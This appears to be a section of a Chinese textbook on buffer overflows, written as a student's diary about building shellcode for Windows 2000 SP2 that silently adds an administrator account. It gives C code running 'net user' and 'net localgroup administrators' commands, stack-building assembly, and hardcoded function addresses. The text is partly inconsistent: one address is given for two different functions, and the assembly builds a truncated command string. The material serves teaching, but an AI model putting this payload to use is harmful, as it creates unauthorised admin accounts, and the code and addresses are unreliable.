2.5.1 小强的日记之二——添加用户ShellCode的编写
9月23日 阴
这几次课都在学习缓冲区溢出利用的编程,现在已经进入ShellCode的编写阶段了。经过这几次的学习,自己对ShellCode的编写有了初步了解,知道ShellCode是如何来的,感觉在老师的指导下又有了很大进步。但要搞懂整个技术还有很长的路要走,自己一步步来吧!
老师还布置了作业,留给我的一个是找Win2000 SP2下LoadLibrary和system函数的地址;另一个是写一个在系统中添加一个管理员用户的ShellCode,并让人上台讲。在回家的路上,我就想,自己一定要认真准备准备,不然抽到了我,上去什么都说不出来,其不惨了?
回到家后,匆匆吃完饭,就坐到电脑前考虑这两个问题。
对第一个找函数地址的问题,比较简单。我把老师给的程序拷到Win2000 SP2系统上,并加上找LoadLibrary的语句,得到GetLoadSysAdd.cpp,就像图2-20,然后编译、执行。
这个程序有问题,system函数的地址找到了,是0x77E6A254,但LoadLibrary地址为0,表示没有找到。当时很奇怪,自己也一下子紧张了起来,马上上网找了很久才发现,在系统中是没有LoadLibrary这个函数的,只有LoadLibraryA和LoadLibraryW这两个函数,在ASCII参数时系统会用LoadLibraryA,在Unicode参数时会用LoadLibraryW。至于什么是ASCII,什么是Unicode,自己还不清楚,只有明天问老师了。
于是我马上把程序改成LoadLibraryA并执行,这下正确了,如图2-21。
看到在Win2000 SP2上,system函数地址为0x78019B4A,LoadLibraryA函数的地址为0x77E6A254,我忙把它们抄了下来。第一个问题总算解决了,长松了一口气,心里稍微平缓了些。
然后我继续考虑第二个问题,编写添加用户的ShellCode。在Windows中添加用户,要么在控制面板里的“用户帐号”中添加,要么在DOS命令行下执行 net user name /add ;要把一个帐户添加到管理员,则要在DOS命令行下执行 net localgroup administrators name /add 。
看来这里只有使用命令行下的指令添加用户了。我仿照老师的步骤,先写出C的程序,然后改成汇编,最后提取出ShellCode。
和开DOS窗口的程序类似,添加一个名为“c”的管理员,其C程序代码如下:
#include <windows.h>
int main()
{
LoadLibrary("msvcrt.dll");
system("net user c /add");
system("net localgroup administrators c /add");
return 0;
}
即执行用户添加命令,再将用户执行升为管理员。我测试了一下,将程序命名为“AddUserC.c”,编译执行,成功了!添加了一个名为“c”的管理员用户,如图2-22。
然后最困难的地方到了:把上面的程序改成汇编。
第一句“LoadLibrary(“msvcrt.dll”)”可以把老师给的程序抄过来。
第二、三句就要把老师给的代码稍微改一下,将参数改成这里的参数才行。
对“system("net user c /add")”这句话,就按Windows系统执行函数的原理,先参数入栈,再CALL system函数的地址。这里的参数是“net user c /add”字符串的地址,所以先在栈中构造出“net user c /add”,即这样:
mov esp,ebp ; 把ebp的内容赋值给esp
push ebp ; 保存ebp,esp则减4
mov ebp,esp ; 给ebp赋新值,将作为局部变量的基指针
xor edi,edi ;
push edi ; 压入0,esp-4,作用是构造字符串的结尾\0字符
push edi
push edi
push edi ; 加上上面,一共有16个字节,用来放“net user c /add”
mov byte ptr [ebp-0Fh],6eh ;n
mov byte ptr [ebp-0eh],65h ;e
mov byte ptr [ebp-0dh],74h ;t
mov byte ptr [ebp-0ch],20h ;
mov byte ptr [ebp-0bh],75h ;u
mov byte ptr [ebp-0ah],73h ;s
mov byte ptr [ebp-09h],65h ;e
mov byte ptr [ebp-08h],72h ;r
mov byte ptr [ebp-07h],20h ;
mov byte ptr [ebp-06h],63h ;c
mov byte ptr [ebp-05h],20h ;
mov byte ptr [ebp-04h],2Fh ;/
mov byte ptr [ebp-03h],61h ;a
mov byte ptr [ebp-02h],64h ;d
mov byte ptr [ebp-01h],0h ;0
字符串构造好后,再把ESP——现在“net user c /add”串的地址作为参数,压入堆栈:
lea eax,[ebp-0fh] ;
push eax ; 字符串地址作为参数入栈
最后CALL system函数的地址(即0x78019B4A):
mov eax, 0x78019B4A ; win2000 sp2 system函数地址
call eax ; 调用system
上面的代码弄了半天才弄好。测试了一下,先把另外两句保留,只把“system("net user c /add")”改为上面的汇编,得到“AddUserASM.cpp”,运行结果如图2-23,成功了!
当看到“命令成功完成”的提示时,我难以抑止心中那种狂喜的冲动,从椅子上跳了起来,把手握成拳头从空中划过,大吼了一声“Yeah”!当时的心情只有经历过千辛万苦最后成功的人才能体会到。那个时刻,我深深感受到了研究缓冲区编程的魅力。
父母推开门,问我发生了什么事,我笑了笑,告诉它们没什么,只是解决了一个技术问题。他们嘱咐我不要太累、注意早点休息后又出去了。心情稍平静后,我再次坐了下来,把剩下的“LoadLibrary(“msvcrt.dll”)”和“system("net localgroup administrators c /add")”也仿照着改为汇编,得到了“AddUserAllASM.cpp”,再次编译执行,还是成功了!
可能因为刚才太过兴奋,这次我的心情没那么激动了。最后剩下的只有体力活了,我按老师讲的方法在VC中按F10键进入调试状态,把汇编对应的机器码抄下来,得到了自己写的第一个ShellCode。太有成就感了!
提取出ShellCode后,把它存在“AddUserCode.cpp”里,但发现还不知道如何验证是否正确,明天去问问老师吧!
ShellCode比较长,我抄了很久,抄完后觉得好累啊!一看表,不知不觉夜都深了,今天就到这里吧,休息了,明天继续认真听课。那个小倩,今天看了我两眼,不知是否对我也有感觉呢?不想了,.继续努力吧!把握好大学这四年的时光,无悔这青春岁月。
到这里,我想起了一首诗。
取天狼
昨夜小风残月,望断天狼斜射。
万里苍穹茫茫,吾心蓦然雄起。
直取天狼,天为证。
若是它年不出头,甘愿忍受一生愁。
男儿立志扫四方,天狼星,英雄取。
海到无边天做岸,山登至极我为峰。
好个海到无边天做岸,山登至极我为峰!以此句为座右铭,提醒自己,时时努力,不敢松懈!